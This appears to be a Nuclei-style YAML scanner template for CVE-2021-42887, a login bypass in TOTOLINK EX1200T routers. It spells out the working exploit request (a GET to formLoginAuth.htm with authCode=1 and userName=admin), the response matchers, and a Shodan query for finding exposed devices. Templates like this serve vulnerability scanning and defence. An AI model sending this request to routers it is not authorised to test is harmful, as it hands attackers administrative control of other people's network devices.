46 lines
1.1 KiB
YAML
46 lines
1.1 KiB
YAML
id: CVE-2021-42887
|
|
|
|
info:
|
|
name: TOTOLINK - Authentication Bypass
|
|
author: gy741
|
|
severity: critical
|
|
description: |
|
|
In TOTOLINK EX1200T V4.1.2cu.5215, an attacker can bypass login by sending a specific request through formLoginAuth.htm.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/cve-2021-42887
|
|
- https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-42887
|
|
cwe-id: CWE-287
|
|
metadata:
|
|
shodan-query: title:"TOTOLINK"
|
|
tags: totolink,auth-bypass,cve,cve2021,router
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /login.htm HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
GET /formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_1
|
|
words:
|
|
- "TOTOLINK"
|
|
|
|
- type: word
|
|
part: header_2
|
|
words:
|
|
- "Set-Cookie: SESSION_ID="
|
|
|
|
- type: status
|
|
status:
|
|
- 302
|